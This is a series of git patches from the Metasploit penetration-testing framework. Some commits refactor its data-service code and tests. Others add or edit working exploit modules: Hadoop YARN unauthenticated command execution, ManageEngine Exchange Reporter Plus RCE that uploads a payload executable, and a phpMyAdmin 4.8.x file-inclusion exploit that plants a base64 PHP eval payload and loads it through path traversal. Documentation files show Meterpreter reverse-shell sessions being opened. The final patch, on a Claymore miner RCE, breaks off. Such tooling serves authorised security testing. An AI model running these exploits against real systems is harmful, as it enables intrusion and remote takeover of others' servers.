2beaabb11a686b0e84f5ae35512159fbe313b68c Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Fri, 29 Jun 2018 10:22:07 -0500 Subject: [PATCH 078/217] Add dep for GetTickCount --- .../obfuscation/crandomizer/code_factory/gettickcount.rb | 5 +++++ .../crandomizer/code_factory/gettickcount_spec.rb | 6 ++++++ 2 files changed, 11 insertions(+) diff --git a/lib/metasploit/framework/obfuscation/crandomizer/code_factory/gettickcount.rb b/lib/metasploit/framework/obfuscation/crandomizer/code_factory/gettickcount.rb index cc33dae2c3..db4c80d62a 100644 --- a/lib/metasploit/framework/obfuscation/crandomizer/code_factory/gettickcount.rb +++ b/lib/metasploit/framework/obfuscation/crandomizer/code_factory/gettickcount.rb @@ -8,6 +8,11 @@ module Metasploit module CodeFactory class GetTickCount < Base + def initialize + super + @dep = ['GetTickCount'] + end + def stub [ Proc.new { single_gettickcount }, diff --git a/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/gettickcount_spec.rb b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/gettickcount_spec.rb index 46af7cd6e2..5b7a2e2e21 100644 --- a/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/gettickcount_spec.rb +++ b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/gettickcount_spec.rb @@ -6,6 +6,12 @@ RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::Get described_class.new end + describe 'dep' do + it 'depends on GetTickCount' do + expect(subject.dep).to eq(['GetTickCount']) + end + end + describe '#single_gettickcount' do it 'is a string' do expect(subject.send(:single_gettickcount).class).to be(String) From c3b71d46425e45a6ed59c36015223541e2f0a865 Mon Sep 17 00:00:00 2001 From: Green-m Date: Sun, 1 Jul 2018 22:43:07 -0400 Subject: [PATCH 079/217] Update mismatch indentation and others --- .../exploits/linux/http/hadoop_unauth_exec.rb | 22 +++++++++---------- 1 file changed, 10 insertions(+), 12 deletions(-) diff --git a/modules/exploits/linux/http/hadoop_unauth_exec.rb b/modules/exploits/linux/http/hadoop_unauth_exec.rb index 8c0da60a97..1872df018c 100644 --- a/modules/exploits/linux/http/hadoop_unauth_exec.rb +++ b/modules/exploits/linux/http/hadoop_unauth_exec.rb @@ -9,11 +9,11 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager - def initialize(info={}) + def initialize(info = {}) super(update_info(info, - 'Name' => 'Hadoop YARN ResourceManager Unauthorized Command Execution', + 'Name' => 'Hadoop YARN ResourceManager Unauthenticated Command Execution', 'Description' => %q{ - This module exploits an unauthorized command execution vulnerability in Apache Hadoop through ResourceManager REST API. + This module exploits an unauthenticated command execution vulnerability in Apache Hadoop through ResourceManager REST API. }, 'License' => MSF_LICENSE, 'Author' => @@ -38,16 +38,14 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0 )) - register_options([ - Opt::RPORT(8088) - ]) + register_options([Opt::RPORT(8088)]) end def check res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, '/ws/v1/cluster/apps/new-application'), - 'method' => 'POST' + 'uri' => normalize_uri(target_uri.path, '/ws/v1/cluster/apps/new-application'), + 'method' => 'POST' ) unless res @@ -69,8 +67,8 @@ class MetasploitModule < Msf::Exploit::Remote def execute_command(cmd, opts = {}) res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, '/ws/v1/cluster/apps/new-application'), - 'method' => 'POST' + 'uri' => normalize_uri(target_uri.path, '/ws/v1/cluster/apps/new-application'), + 'method' => 'POST' ) app_id = res.get_json_document['application-id'] @@ -80,12 +78,12 @@ class MetasploitModule < Msf::Exploit::Remote 'application-name' => Rex::Text.rand_text_alpha_lower(4..12), 'application-type' => 'YARN', 'am-container-spec' => { - 'commands' => {'command' => "#{cmd}"}, + 'commands' => {'command' => cmd.to_s}, } } res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, '/ws/v1/cluster/apps'), + 'uri' => normalize_uri(target_uri.path, '/ws/v1/cluster/apps'), 'method' => 'POST', 'ctype' => 'application/json', 'data' => post.to_json From 7a966e7b9d79ba7bc78f850d151500671a20c21b Mon Sep 17 00:00:00 2001 From: Green-m Date: Sun, 1 Jul 2018 22:43:54 -0400 Subject: [PATCH 080/217] Change unauthorized to unauthenticated --- documentation/modules/exploit/linux/http/hadoop_unauth_exec.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/linux/http/hadoop_unauth_exec.md b/documentation/modules/exploit/linux/http/hadoop_unauth_exec.md index b16ee9944c..d42b891823 100644 --- a/documentation/modules/exploit/linux/http/hadoop_unauth_exec.md +++ b/documentation/modules/exploit/linux/http/hadoop_unauth_exec.md @@ -1,6 +1,6 @@ ## Description -This module exploits an unauthorized command execution vulneralbility in Apache Hadoop through ResourceManager REST API. +This module exploits an unauthenticated command execution vulnerability in Apache Hadoop through ResourceManager REST API. ## Vulnerable Application From aa3fcea3775e0e036ad6c9bdcce5f20a310d9b02 Mon Sep 17 00:00:00 2001 From: Green-m Date: Sun, 1 Jul 2018 23:17:34 -0400 Subject: [PATCH 081/217] update check method to print error message normaliy --- modules/exploits/linux/http/hadoop_unauth_exec.rb | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/modules/exploits/linux/http/hadoop_unauth_exec.rb b/modules/exploits/linux/http/hadoop_unauth_exec.rb index 1872df018c..115d856426 100644 --- a/modules/exploits/linux/http/hadoop_unauth_exec.rb +++ b/modules/exploits/linux/http/hadoop_unauth_exec.rb @@ -43,13 +43,14 @@ class MetasploitModule < Msf::Exploit::Remote def check - res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, '/ws/v1/cluster/apps/new-application'), - 'method' => 'POST' - ) + begin + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/ws/v1/cluster/apps/new-application'), + 'method' => 'POST' + ) - unless res - vprint_error 'Connection failed' + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionError => e + vprint_error("#{peer} - Connection failed") return CheckCode::Unknown end From 2196640de446b96866c06c7c7733323790798624 Mon Sep 17 00:00:00 2001 From: Kacper Szurek Date: Mon, 2 Jul 2018 19:10:34 +0200 Subject: [PATCH 082/217] Add manageengine_adshacluster_rce Manage Engine Exchange Reporter Plus <= 5310 Unauthenticated RCE --- .../http/manageengine_adshacluster_rce.md | 54 +++++++++++ .../http/manageengine_adshacluster_rce.rb | 89 +++++++++++++++++++ 2 files changed, 143 insertions(+) create mode 100644 modules/exploits/windows/http/manageengine_adshacluster_rce.md create mode 100644 modules/exploits/windows/http/manageengine_adshacluster_rce.rb diff --git a/modules/exploits/windows/http/manageengine_adshacluster_rce.md b/modules/exploits/windows/http/manageengine_adshacluster_rce.md new file mode 100644 index 0000000000..b21eae39e8 --- /dev/null +++ b/modules/exploits/windows/http/manageengine_adshacluster_rce.md @@ -0,0 +1,54 @@ +## Description +This module exploits a remote code execution vulnerability that exists in Exchange Reporter Plus <= 5310, caused by execution of bcp.exe file inside ADSHACluster servlet. +Additional information can be viewed on https://security.szurek.pl/manage-engine-exchange-reporter-plus-unauthenticated-rce.html + +## Vulnerable Application +[Exchange Reporter Plus 5216](https://mega.nz/#!XG5CTC5I!IuG91CbrcdcpQj4teYRiBWNwy9pULRkV69U3DQ6nCyU) + +## Verification Steps + + 1. Install the application + 2. Start msfconsole + 3. Do: `use exploit/windows/http/manageengine_adshacluster_rce` + 4. Do: `set rhost ` + 5. Do: `check` +``` +[*] Version: 5216 +[+] 192.168.88.125:8181 The target is vulnerable. +``` + 6. Do: `set lport ` + 7. Do: `set lhost ` + 8. Do: `exploit` + 9. You should get a shell. + + +## Scenarios + +### Exchange Reporter Plus 5216 on Windows Target +``` +msf > use exploit/windows/http/manageengine_adshacluster_rce +msf exploit(windows/http/manageengine_adshacluster_rce) > set rhost 192.168.88.125 +rhost => 192.168.88.125 +msf exploit(windows/http/manageengine_adshacluster_rce) > check + +[*] Version: 5216 +[+] 192.168.88.125:8181 The target is vulnerable. +msf exploit(windows/http/manageengine_adshacluster_rce) > set lport 1111 +lport => 1111 +msf exploit(windows/http/manageengine_adshacluster_rce) > set lhost 192.168.88.120 +lhost => 192.168.88.120 +msf exploit(windows/http/manageengine_adshacluster_rce) > exploit + +[*] Started reverse TCP handler on 192.168.88.120:1111 +[*] Sending stage (179779 bytes) to 192.168.88.125 +[*] Meterpreter session 2 opened (192.168.88.120:1111 -> 192.168.88.125:49955) at 2018-07-02 18:58:01 +0200 + +meterpreter > sysinfo +Computer : WIN10 +OS : Windows 10 (Build 16299). +Architecture : x64 +System Language : pl_PL +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x86/windows +``` \ No newline at end of file diff --git a/modules/exploits/windows/http/manageengine_adshacluster_rce.rb b/modules/exploits/windows/http/manageengine_adshacluster_rce.rb new file mode 100644 index 0000000000..2d3608bdb3 --- /dev/null +++ b/modules/exploits/windows/http/manageengine_adshacluster_rce.rb @@ -0,0 +1,89 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Manage Engine Exchange Reporter Plus Unauthenticated RCE', + 'Description' => %q{ + This module exploits a remote code execution vulnerability that + exists in Exchange Reporter Plus <= 5310, caused by execution of + bcp.exe file inside ADSHACluster servlet + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Kacper Szurek ' + ], + 'References' => + [ + ['URL', 'https://security.szurek.pl/manage-engine-exchange-reporter-plus-unauthenticated-rce.html'] + ], + 'Platform' => ['win'], + 'Arch' => [ARCH_X86, ARCH_X64], + 'Targets' => [['Automatic', {}]], + 'DisclosureDate' => 'Jun 28 2018', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [ true, 'The URI of the application', '/']), + Opt::RPORT(8181), + ]) + + end + + def bin_to_hex(s) + s.each_byte.map { |b| b.to_s(16).rjust(2,'0') }.join + end + + def check + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(datastore['TARGETURI'], '/exchange/servlet/GetProductVersion') + }) + + if res && res.code == 200 + begin + json = res.get_json_document + rescue JSON::ParserError => e + print_error("Failed: #{e.class} - #{e.message}") + return Exploit::CheckCode::Unknown + end + + if json.empty? || !json['BUILD_NUMBER'] + print_error("Wrong server response") + return Exploit::CheckCode::Unknown + end + + print_status "Version: #{json['BUILD_NUMBER']}" + + if json['BUILD_NUMBER'].to_i <= 5310 + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + else + Exploit::CheckCode::Unknown + end + end + + def exploit + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(datastore['TARGETURI'], '/exchange/servlet/ADSHACluster'), + 'vars_post' => { + 'MTCALL' => "nativeClient", + 'BCP_RLL' => "0102", + 'BCP_EXE' => bin_to_hex(generate_payload_exe) + } + }) + end +end From 514c0c76d5f73319e16afc0b55b61d04f6282031 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Mon, 2 Jul 2018 18:34:35 -0400 Subject: [PATCH 083/217] Add API token to RemoteHTTPDataService --- .../data_service/remote/http/core.rb | 9 +++++--- lib/msf/ui/console/command_dispatcher/db.rb | 22 ++++++++++++++----- 2 files changed, 22 insertions(+), 9 deletions(-) diff --git a/lib/metasploit/framework/data_service/remote/http/core.rb b/lib/metasploit/framework/data_service/remote/http/core.rb index 680b535644..8e2f7f8299 100644 --- a/lib/metasploit/framework/data_service/remote/http/core.rb +++ b/lib/metasploit/framework/data_service/remote/http/core.rb @@ -23,11 +23,14 @@ class RemoteHTTPDataService # # @param [String] endpoint A valid http or https URL. Cannot be nil # - def initialize(endpoint, https_opts = {}) + def initialize(endpoint, opts = {}) validate_endpoint(endpoint) @endpoint = URI.parse(endpoint) - @https_opts = https_opts + @opts = opts + @https_opts = @opts.delete(:https_opts) + @api_token = @opts.delete(:api_token) build_client_pool(5) + set_header('Authorization', "Bearer #{@api_token}") unless @api_token.nil? end def connection_established? @@ -179,7 +182,7 @@ class RemoteHTTPDataService end def set_header(key, value) - @headers = Hash.new() if @headers.nil? + @headers = {} if @headers.nil? @headers[key] = value end diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index 47bea5ec63..387c2472e4 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -1968,11 +1968,14 @@ class Db protocol = "http" port = 8080 + opts = {} https_opts = {} while (arg = args.shift) case arg when '-p' port = args.shift + when '-t', '--token' + opts[:api_token] = args.shift when '-s', '--ssl' protocol = "https" when '-c', '--cert' @@ -1985,12 +1988,18 @@ class Db end if host.nil? || port.nil? - print_error "Host and port are required." + print_error("Host and port are required") return end + if opts[:api_token].nil? + print_error("API token is required") + return + end + + opts[:https_opts] = https_opts unless https_opts.empty? endpoint = "#{protocol}://#{host}:#{port}" - remote_data_service = Metasploit::Framework::DataService::RemoteHTTPDataService.new(endpoint, https_opts) + remote_data_service = Metasploit::Framework::DataService::RemoteHTTPDataService.new(endpoint, opts) begin framework.db.register_data_service(remote_data_service) print_line "Registered data service: #{remote_data_service.name}" @@ -2029,10 +2038,11 @@ class Db print_line " -s, --set Set the data service by identifier." print_line " -a, --add [ options ] host Adds data service" print_line " Add Data Service Options:" - print_line " -p The port the data service is listening on. Default is 8080." - print_line " -s, --ssl Enable SSL. Required for HTTPS data services." - print_line " -c, --cert Certificate file matching the server's certificate. Needed when using self-signed SSL cert." - print_line " --skip-verify Skip validating authenticity of server's certificate. NOT RECOMMENDED." + print_line " -p The port the data service is listening on. Default is 8080." + print_line " -t, --token Required API Token for MSF web service" + print_line " -s, --ssl Enable SSL. Required for HTTPS data services." + print_line " -c, --cert Certificate file matching the server's certificate. Needed when using self-signed SSL cert." + print_line " --skip-verify Skip validating authenticity of server's certificate. NOT RECOMMENDED." print_line end From ed34cd88982831bd5c51a10ac53bfdf47925c02e Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Tue, 3 Jul 2018 17:59:57 -0400 Subject: [PATCH 084/217] Simplify request headers assignment --- .../data_service/remote/http/core.rb | 26 +++++++------------ 1 file changed, 10 insertions(+), 16 deletions(-) diff --git a/lib/metasploit/framework/data_service/remote/http/core.rb b/lib/metasploit/framework/data_service/remote/http/core.rb index 8e2f7f8299..dfaed063b7 100644 --- a/lib/metasploit/framework/data_service/remote/http/core.rb +++ b/lib/metasploit/framework/data_service/remote/http/core.rb @@ -26,11 +26,13 @@ class RemoteHTTPDataService def initialize(endpoint, opts = {}) validate_endpoint(endpoint) @endpoint = URI.parse(endpoint) - @opts = opts - @https_opts = @opts.delete(:https_opts) - @api_token = @opts.delete(:api_token) - build_client_pool(5) + @https_opts = opts[:https_opts] + @api_token = opts[:api_token] + + @headers = {} set_header('Authorization', "Bearer #{@api_token}") unless @api_token.nil? + + build_client_pool(5) end def connection_established? @@ -150,13 +152,13 @@ class RemoteHTTPDataService client = @client_pool.pop case request_type when GET_REQUEST - request = Net::HTTP::Get.new(uri.request_uri) + request = Net::HTTP::Get.new(uri.request_uri, initheader=@headers) when POST_REQUEST - request = Net::HTTP::Post.new(uri.request_uri) + request = Net::HTTP::Post.new(uri.request_uri, initheader=@headers) when DELETE_REQUEST - request = Net::HTTP::Delete.new(uri.request_uri) + request = Net::HTTP::Delete.new(uri.request_uri, initheader=@headers) when PUT_REQUEST - request = Net::HTTP::Put.new(uri.request_uri) + request = Net::HTTP::Put.new(uri.request_uri, initheader=@headers) else raise Exception, 'A request_type must be specified' end @@ -182,8 +184,6 @@ class RemoteHTTPDataService end def set_header(key, value) - @headers = {} if @headers.nil? - @headers[key] = value end @@ -259,12 +259,6 @@ class RemoteHTTPDataService request.body = json_body end - if !@headers.nil? && !@headers.empty? - @headers.each do |key, value| - request[key] = value - end - end - request end From 8a3166e198267d27861b3034288e57b55fd70f6b Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Tue, 3 Jul 2018 18:28:35 -0400 Subject: [PATCH 085/217] Set a default user-agent value --- lib/metasploit/framework/data_service/remote/http/core.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/lib/metasploit/framework/data_service/remote/http/core.rb b/lib/metasploit/framework/data_service/remote/http/core.rb index dfaed063b7..0c7975ce28 100644 --- a/lib/metasploit/framework/data_service/remote/http/core.rb +++ b/lib/metasploit/framework/data_service/remote/http/core.rb @@ -14,6 +14,8 @@ class RemoteHTTPDataService include Metasploit::Framework::DataService include DataServiceAutoLoader + DEFAULT_USER_AGENT = "metasploit v#{Metasploit::Framework::VERSION}" + EXEC_ASYNC = { :exec_async => true } GET_REQUEST = 'GET' POST_REQUEST = 'POST' @@ -30,6 +32,8 @@ class RemoteHTTPDataService @api_token = opts[:api_token] @headers = {} + user_agent = !opts[:user_agent].nil? ? opts[:user_agent] : DEFAULT_USER_AGENT + set_header('User-Agent', user_agent) set_header('Authorization', "Bearer #{@api_token}") unless @api_token.nil? build_client_pool(5) From 43096d9d7815d91aa3684beb39a5a2e00db728f4 Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Thu, 5 Jul 2018 13:26:27 -0500 Subject: [PATCH 086/217] Add phpMyAdmin v4.8.1/4.8.0 LFI RCE Module and Doc --- .../exploit/multi/http/phpmyadmin_lfi_rce.md | 37 ++++ .../exploits/multi/http/phpmyadmin_lfi_rce.rb | 207 ++++++++++++++++++ 2 files changed, 244 insertions(+) create mode 100644 documentation/modules/exploit/multi/http/phpmyadmin_lfi_rce.md create mode 100644 modules/exploits/multi/http/phpmyadmin_lfi_rce.rb diff --git a/documentation/modules/exploit/multi/http/phpmyadmin_lfi_rce.md b/documentation/modules/exploit/multi/http/phpmyadmin_lfi_rce.md new file mode 100644 index 0000000000..09ff1f3f32 --- /dev/null +++ b/documentation/modules/exploit/multi/http/phpmyadmin_lfi_rce.md @@ -0,0 +1,37 @@ +## Description + +phpMyAdmin v4.8.0 and v4.8.1 are vulnerable to local file inclusion, which can be exploited post-authentication to execute PHP code within application. The module has been tested with phpMyAdmin v4.8.1. + +## Vulnerable Application + +[phpMyAdmin v4.8.1](https://files.phpmyadmin.net/phpMyAdmin/4.8.1/phpMyAdmin-4.8.1-all-languages.zip) and v4.8.0 + +## Verification Steps + +1. `./msfconsole -q` +2. `use exploit/multi/http/phpmyadmin_lfi_rce` +3. `set rhosts ` +4. `run` + +## Scenarios + +### Tested on Windows 7 x64 using PHP 7.2.4 and phpMyAdmin 4.8.1 + +``` +msf5 > use exploit/multi/http/phpmyadmin_lfi_rce +msf5 exploit(multi/http/phpmyadmin_lfi_rce) > set rhosts 172.22.222.122 +rhosts => 172.22.222.122 +msf5 exploit(multi/http/phpmyadmin_lfi_rce) > run + +[*] Started reverse TCP handler on 172.22.222.190:4444 +[*] Sending stage (37775 bytes) to 172.22.222.122 +[*] Meterpreter session 1 opened (172.22.222.190:4444 -> 172.22.222.122:51999) at 2018-07-05 13:14:39 -0500 + +meterpreter > getuid +Server username: SYSTEM (0) +meterpreter > sysinfo +Computer : +OS : Windows NT 6.1 build 7601 (Windows 7 Professional Edition Service Pack 1) i586 +Meterpreter : php/windows +meterpreter > +``` diff --git a/modules/exploits/multi/http/phpmyadmin_lfi_rce.rb b/modules/exploits/multi/http/phpmyadmin_lfi_rce.rb new file mode 100644 index 0000000000..4cec428746 --- /dev/null +++ b/modules/exploits/multi/http/phpmyadmin_lfi_rce.rb @@ -0,0 +1,207 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'phpMyAdmin Authenticated Remote Code Execution', + 'Description' => %q{ + phpMyAdmin v4.8.0 and v4.8.1 are vulnerable to local file inclusion, + which can be exploited post-authentication to execute PHP code within + application. The module has been tested with phpMyAdmin v4.8.1. + }, + 'Author' => + [ + 'ChaMd5', # Vulnerability discovery and PoC + 'Henry Huang', # Vulnerability discovery and PoC + 'Jacob Robles' # Metasploit Module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'BID', '104532' ], + [ 'CVE', '2018-12613' ], + [ 'CWE', '661' ], + [ 'URL', 'https://www.phpmyadmin.net/security/PMASA-2018-4/' ], + [ 'URL', 'https://www.secpulse.com/archives/72817.html' ], + [ 'URL', 'https://blog.vulnspy.com/2018/06/21/phpMyAdmin-4-8-x-Authorited-CLI-to-RCE/' ] + ], + 'Privileged' => true, + 'Platform' => [ 'php' ], + 'Arch' => ARCH_PHP, + 'Targets' => + [ + [ 'Automatic', {} ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jun 19 2018')) + + register_options( + [ + OptString.new('TARGETURI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']), + OptString.new('USERNAME', [ true, "Username to authenticate with", 'root']), + OptString.new('PASSWORD', [ false, "Password to authenticate with", '']) + ]) + end + + def check + begin + res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path) }) + rescue + vprint_error("#{peer} - Unable to connect to server") + return Exploit::CheckCode::Unknown + end + + if res.nil? || res.code != 200 + vprint_error("#{peer} - Unable to query /js/messages.php") + return Exploit::CheckCode::Unknown + end + + # v4.8.0 || 4.8.1 phpMyAdmin + if res.body =~ /PMA_VERSION:"(\d+\.\d+\.\d+)"/ + version = Gem::Version.new($1) + vprint_status("#{peer} - phpMyAdmin version: #{version.to_s}") + + if version == Gem::Version.new('4.8.0') || version == Gem::Version.new('4.8.1') + return Exploit::CheckCode::Appears + end + return Exploit::CheckCode::Safe + end + + return Exploit::CheckCode::Unknown + end + + def query(uri, qstring, cookies, token) + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, 'import.php'), + 'cookie' => cookies, + 'encode_params' => false, + 'vars_post' => { + 'sql_query' => qstring, + 'db' => '', + 'table' => '', + 'token' => token + } + }) + end + + def exploit + return unless check == Exploit::CheckCode::Appears + + uri = target_uri.path + vprint_status("#{peer} - Grabbing CSRF token...") + + response = send_request_cgi({'uri' => uri}) + + if response.nil? + fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage grabbing CSRF token") + elsif (response.body !~ /token"\s*value="(.*?)"/) + fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Is URI set correctly?") + end + + token = $1 + + #Pull out the last two cookies + cookies = response.get_cookies + cookies = cookies.split[-2..-1].join(' ') + + vprint_status("#{peer} - Retrieved token #{token}") + vprint_status("#{peer} - Retrieved cookies #{cookies}") + + vprint_status("#{peer} - Authenticating...") + login = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, 'index.php'), + 'cookie' => cookies, + 'vars_post' => { + 'token' => token, + 'pma_username' => datastore['USERNAME'], + 'pma_password' => datastore['PASSWORD'] + } + }) + + if login.nil? || login.code != 302 + fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage") + end + + #Ignore the first cookie + cookies = login.get_cookies + cookies = cookies.split[1..-1].join(' ') + vprint_status("#{peer} - Retrieved cookies #{cookies}") + + login_check = send_request_cgi({ + 'uri' => normalize_uri(uri, 'index.php'), + 'vars_get' => { 'token' => token }, + 'cookie' => cookies + }) + + if login_check.nil? + fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage") + elsif login_check.body =~ /Welcome to/ + fail_with(Failure::NoAccess, "#{peer} - Authentication failed") + elsif (login_check.body !~ /token"\s*value="(.*?)"/) + fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Is URI set correctly?") + end + token = Rex::Text.uri_encode($1) + + vprint_status("#{peer} - Authentication successful") + + #Generating strings/payload + database = rand_text_alpha_lower(5) + table = rand_text_alpha_lower(5) + column = rand_text_alpha_lower(5) + col_val = "'%3C%3Fphp+eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"))%3B+%3F%3E'" + + #Preparing sql queries + dbsql = "CREATE+DATABASE+#{database}%3B" + tablesql = "CREATE+TABLE+#{database}.#{table}(#{column}+varchar(4096)+DEFAULT+#{col_val})%3B" + dropsql = "DROP+DATABASE+#{database}%3B" + dirsql = 'SHOW+VARIABLES+WHERE+Variable_Name+Like+%22%25datadir%22%3B' + + + #Create database + res = query(uri, dbsql, cookies, token) + if res.nil? || res.code != 200 + fail_with(Failure::UnexpectedReply, "#{peer} - Failed to create database") + end + + #Create table and column + res = query(uri, tablesql, cookies, token) + if res.nil? || res.code != 200 + fail_with(Failure::UnexpectedReply, "#{peer} - Failed to create table") + end + + #Find datadir + res = query(uri, dirsql, cookies, token) + if res.nil? || res.code != 200 + fail_with(Failure::UnexpectedReply, "#{peer} - Failed to find data directory") + end + + unless res.body =~ /^(.*)? 'GET', + 'uri' => normalize_uri(uri, 'index.php'), + 'cookie' => cookies, + 'encode_params' => false, + 'vars_get' => { + 'target' => "db_sql.php%253f#{'/..'*16}#{data_path}" + } + }) + end +end From cb078b9586cf07750255daabdfaa553cc1a10d01 Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Thu, 5 Jul 2018 14:58:30 -0500 Subject: [PATCH 087/217] Drop database --- modules/exploits/multi/http/phpmyadmin_lfi_rce.rb | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/phpmyadmin_lfi_rce.rb b/modules/exploits/multi/http/phpmyadmin_lfi_rce.rb index 4cec428746..d31284b43d 100644 --- a/modules/exploits/multi/http/phpmyadmin_lfi_rce.rb +++ b/modules/exploits/multi/http/phpmyadmin_lfi_rce.rb @@ -146,7 +146,7 @@ class MetasploitModule < Msf::Exploit::Remote fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage") elsif login_check.body =~ /Welcome to/ fail_with(Failure::NoAccess, "#{peer} - Authentication failed") - elsif (login_check.body !~ /token"\s*value="(.*?)"/) + elsif login_check.body !~ /token"\s*value="(.*?)"/ fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Is URI set correctly?") end token = Rex::Text.uri_encode($1) @@ -203,5 +203,11 @@ class MetasploitModule < Msf::Exploit::Remote 'target' => "db_sql.php%253f#{'/..'*16}#{data_path}" } }) + + #Drop database + res = query(uri, dropsql, cookies, token) + if res.nil? || res.code != 200 + print_error("#{peer} - Failed to drop database #{database}. Might drop when your session closes.") + end end end From 77a0b74f76b35bfe8afdcefb4669c92cebdcc924 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Thu, 5 Jul 2018 16:40:55 -0400 Subject: [PATCH 088/217] Add delete option to data_services cmd --- .../framework/data_service/proxy/core.rb | 17 ++++++++++++++++ lib/msf/ui/console/command_dispatcher/db.rb | 20 ++++++++++++++++--- 2 files changed, 34 insertions(+), 3 deletions(-) diff --git a/lib/metasploit/framework/data_service/proxy/core.rb b/lib/metasploit/framework/data_service/proxy/core.rb index a07a5f677f..bd1518c473 100644 --- a/lib/metasploit/framework/data_service/proxy/core.rb +++ b/lib/metasploit/framework/data_service/proxy/core.rb @@ -61,6 +61,23 @@ class DataProxy set_data_service(data_service_id) end + # + # Delete the specified data service + # + def delete_data_service(data_service_id) + raise ArgumentError.new('Cannot delete data service id: 1') if data_service_id.to_i == 1 + + data_service = @data_services.delete(data_service_id.to_i) + if data_service.nil? + raise "Data service with id: #{data_service_id} does not exist" + end + + if @current_data_service == data_service + # set the current data service to the first data service created + @current_data_service = @data_services[1] + end + end + # # Set the data service to be used # diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index 387c2472e4..98471061d3 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -91,6 +91,9 @@ class Db when '-a', '--add' add_data_service(*args) return + when '-d', '--delete' + delete_data_service(args.shift) + return when '-s', '--set' set_data_service(args.shift) return @@ -2009,6 +2012,16 @@ class Db end end + def delete_data_service(service_id) + begin + data_service = framework.db.delete_data_service(service_id) + framework.db.workspace = framework.db.default_workspace + data_service + rescue => e + print_error "Unable to delete data service: #{e.message}" + end + end + def set_data_service(service_id) begin data_service = framework.db.set_data_service(service_id) @@ -2034,9 +2047,10 @@ class Db print_line print_line "OPTIONS:" - print_line " -h, --help Show this help information." - print_line " -s, --set Set the data service by identifier." - print_line " -a, --add [ options ] host Adds data service" + print_line " -h, --help Show this help information." + print_line " -d, --delete Delete the data service by identifier." + print_line " -s, --set Set the active data service by identifier." + print_line " -a, --add [ options ] Add a new data service" print_line " Add Data Service Options:" print_line " -p The port the data service is listening on. Default is 8080." print_line " -t, --token Required API Token for MSF web service" From 43d71cdc09352ef0b8fdfd6be016d6f588604577 Mon Sep 17 00:00:00 2001 From: ReverseBrain Date: Mon, 2 Jul 2018 16:02:36 +0200 Subject: [PATCH 089/217] Initial Claymore Dual Miner RCE doc commit --- .../claymore_dual_miner_remote_manager_rce.md | 48 +++++++++++++++++++ 1 file changed, 48 insertions(+) create mode 100644 documentation/modules/exploit/multi/misc/claymore_dual_miner_remote_manager_rce.md diff --git a/documentation/modules/exploit/multi/misc/claymore_dual_miner_remote_manager_rce.md b/documentation/modules/exploit/multi/misc/claymore_dual_miner_remote_manager_rce.md new file mode 100644 index 0000000000..37ee541574 --- /dev/null +++ b/documentation/modules/exploit/multi/misc/claymore_dual_miner_remote_manager_rce.md @@ -0,0 +1,48 @@ +## Description + +This module connects to the Claymore Dual Miner API server to exploit the RCE. +This module can target the remote system if the miner is running 